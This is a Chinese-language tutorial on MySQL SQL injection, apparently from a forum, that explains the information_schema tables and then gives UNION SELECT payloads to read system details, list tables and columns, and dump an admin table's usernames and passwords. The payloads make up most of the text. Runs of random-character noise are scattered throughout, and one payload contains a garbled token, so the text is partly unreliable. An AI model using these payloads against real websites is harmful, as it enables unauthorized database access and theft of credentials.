mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

) `* U% @& e2 l% B( e/ @8 q7 I& T学习盲注前先了解下 IFORMATION_SCHEMA 库
0 `1 c% H; K2 U  e) r& V6 b
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
, M) n. j) N) q. B1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
( @' }9 b/ ~! |- _. @|---字段：SCHEMA_NAME ->数据库名称
) J7 p* o: T! i+ z" ]5 O
( s' `* k0 w. h1 d0 m6 m; N|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
2 O2 e4 ]5 q7 M1 k: [# E2 F|---字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
2 N. t! j# a; P2 |$ R. G& S4 ]# N|---字段：TABLE_SCHEMA ->该字段所属数据库名
8 T; l8 \; t" }% B3 g2 N|---字段：TABLE_NAME ->存储所属表的名称
8 D8 i2 L* F' T$ e' b# f4 A# z
+ G  U" ^5 P( S1 J|---字段：COLUMN_NAME ->该字段的名称
4 l' E5 D  v) k" p/ w! y
( S2 e. r, C( o+ g) r. ]2 e: t" `
3 J9 U7 f1 c8 W, U" k: b
2 ~& I6 B1 `) e! D3 {! e( Y- i###########################################################################
+ d0 ], O6 s9 R* {/ ]( b
0x001 获取系统信息:

' g9 C6 o( {; _' l$ s5 R7 ~' `union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

* \( q% t! ]3 w2 b/*

) j2 _9 v# i- V# C+ ^6 v3 m@@global.version_compile_os 获取系统版本
! k: F* r3 `& Q, l. k1 Q8 D
0 ^( d2 J& k+ L( v8 L@@datadir 数据库路径
; r+ U. s# Q5 a( m+ P$ @! idatabase() 当前数据库名称
0x3c62723e 换行HEX值
; v4 C, h- x7 W0 j2 ?
! c& t, [  x, _/ W! D) m*/
0 r0 T# ^$ b" m7 O


######################################################################
  Z" z# n, O3 z
0x002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
3 u4 s3 p$ F$ g2 Z5 s, a


/*

# K5 ^9 K! `' A, H' s) x0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
' {6 U( ~2 D# H+ c9 F
*/

2 ?2 t+ p9 G2 o4 N; N7 L######################################################################

" z; X+ R+ o! P- m+ B

/ ]' j3 b7 ?0 F, Z0x003 获取字段

3 _7 k, |2 g3 X8 C- Y3 x' ]union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
6 e1 o0 |5 C8 ?+ y% [- j' y
0 \4 F# u7 q' O/*

4 Y; F, x* `& U+ g& p' Ggroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表

0x67617264656e ->数据库名
  ~& C/ O' Z$ R1 i# c& W
*/

#####################################################################

% H% Q9 Q4 G/ J3 u8 j
/ u) o( Q0 q  i% n# p( ~4 B. C
0x004 获取数据
! z) t7 m, i6 J0 Y& t1 m" \2 q
- T* f6 o. T# ~$ r$ }union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
9 c- n: J1 ^4 c( `1 w, u- X
& ~4 t) D0 ^2 T5 N2 k0 Kunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
4 h9 y' ^6 m; F. A. ]# Y
, q& ]. t0 D" A: v6 i( j1 s9 J

/*
+ R2 c8 {5 v& H# G& [
  X, K  o& X) \1 z; k% z0x3c62723e 换行符号HEX编码

" ~4 y' Z& s, l. v7 X4 }group_concat 同时获得该字段所有数据

- F, @' T7 ^3 v5 }( e2 F) E*/